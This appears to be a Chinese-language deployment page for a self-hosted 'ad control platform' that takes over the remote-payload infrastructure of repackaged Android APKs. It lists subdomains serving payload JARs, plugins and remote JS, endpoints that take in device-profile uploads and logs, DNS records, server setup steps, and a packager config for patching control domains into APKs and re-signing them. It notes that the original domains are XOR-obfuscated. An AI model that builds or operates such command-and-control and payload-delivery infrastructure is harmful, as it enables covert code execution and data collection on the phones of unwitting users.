9skm.com 广告控制平台

自托管远程广告配置、Payload CDN 与管理后台。以下二级域名均已规划,部署后可在打包工具中直接使用。

ctrl.9skm.com cdn.9skm.com api.9skm.com a.9skm.com c.9skm.com log.9skm.com
打开管理后台 查看 API URL 列表 健康检查

二级域名用途

主控服务器

ctrl.9skm.com

替代 s.ddsmain.com。处理 POST /a 外层 JAR 链、DSP 配置下发、Web 管理后台。APK Patch 目标域名(13 字符)。

核心 · 必须

静态 CDN

cdn.9skm.com

托管 outer_jar、dsp、AMPlugin 等 8 个 payload 文件。配置中的插件 URL/MD5 均指向此域名。

核心 · 必须

DSP 配置服务

a.9skm.com

替代 a.ddsmain.com。提供 /db/hfdd/fev 等 DSP 插件配置路径。

兼容

路由发现

c.9skm.com

替代 c.ddsmain.com。返回可用控制服务器地址列表。

兼容

isdk 初始化

api.9skm.com

替代 apiflow.fuximain.com。处理 POST /v2/api/init 设备画像上报。

兼容 · hosts

日志收集

log.9skm.com

替代 log.fuximain.com。接收客户端 POST /v1/log/generic 日志。

兼容 · hosts

API 端点一览

域名路径方法说明
ctrl.9skm.com/aPOST外层 JAR 下载链入口
ctrl.9skm.com/api/config/dspGETDSP 配置(广告 ID + 插件 URL)
ctrl.9skm.com/api/admin/configGET/POST管理后台配置读写
ctrl.9skm.com/ss/kkkkGET远程 JS 脚本
cdn.9skm.com/payloads/*.binGET插件与 JAR 静态文件
a.9skm.com/db/hfdd/fevGETDSP 配置(兼容路径)
c.9skm.com/bvbv/gbeseGET控制服务器列表
api.9skm.com/v2/api/initPOSTisdk 初始化
log.9skm.com/v1/log/genericPOST日志上报

DNS 解析配置

在域名注册商控制台添加以下 A 记录,全部指向你的服务器公网 IP(示例 203.0.113.50):

@       A    203.0.113.50
www1    A    43.167.26.188
ctrl    A    203.0.113.50
a       A    203.0.113.50
c       A    203.0.113.50
api     A    203.0.113.50
log     A    203.0.113.50
cdn     A    203.0.113.50

部署步骤

  1. deploy/9skm/server/ 目录上传到 Linux 服务器(含 AdControlServer 与 payloads)
  2. 安装 .NET 9 Runtime:curl -fsSL https://dot.net/v1/dotnet-install.sh | bash
  3. 复制 Nginx 配置:nginx/9skm.conf/etc/nginx/sites-enabled/
  4. 申请 SSL 证书:certbot --nginx -d ctrl.9skm.com -d cdn.9skm.com ...
  5. 启动服务:systemctl start adcontrol
  6. 访问 ctrl.9skm.com 配置广告 ID 与 CDN 地址
  7. 使用 packager-config.9skm.json 重新打包 APK 并签名
⚠ APK 内 a/c/apiflow/log 等域名为 XOR 混淆,无法通过 DNS 直接替换原第三方域名。 测试阶段请在 Android 设备 hosts 中将原域名指向你的服务器 IP,详见 SUBDOMAINS.md。

打包工具配置(方案 C)

{
  "ControlHost": "ctrl.9skm.com",      // 恰好 13 字符
  "DexControlUrl": "http://ctrl.9skm.com/",  // 恰好 21 字符
  "ControlBaseUrl": "https://ctrl.9skm.com",
  "Cdn": { "BaseUrl": "https://cdn.9skm.com/payloads" }
}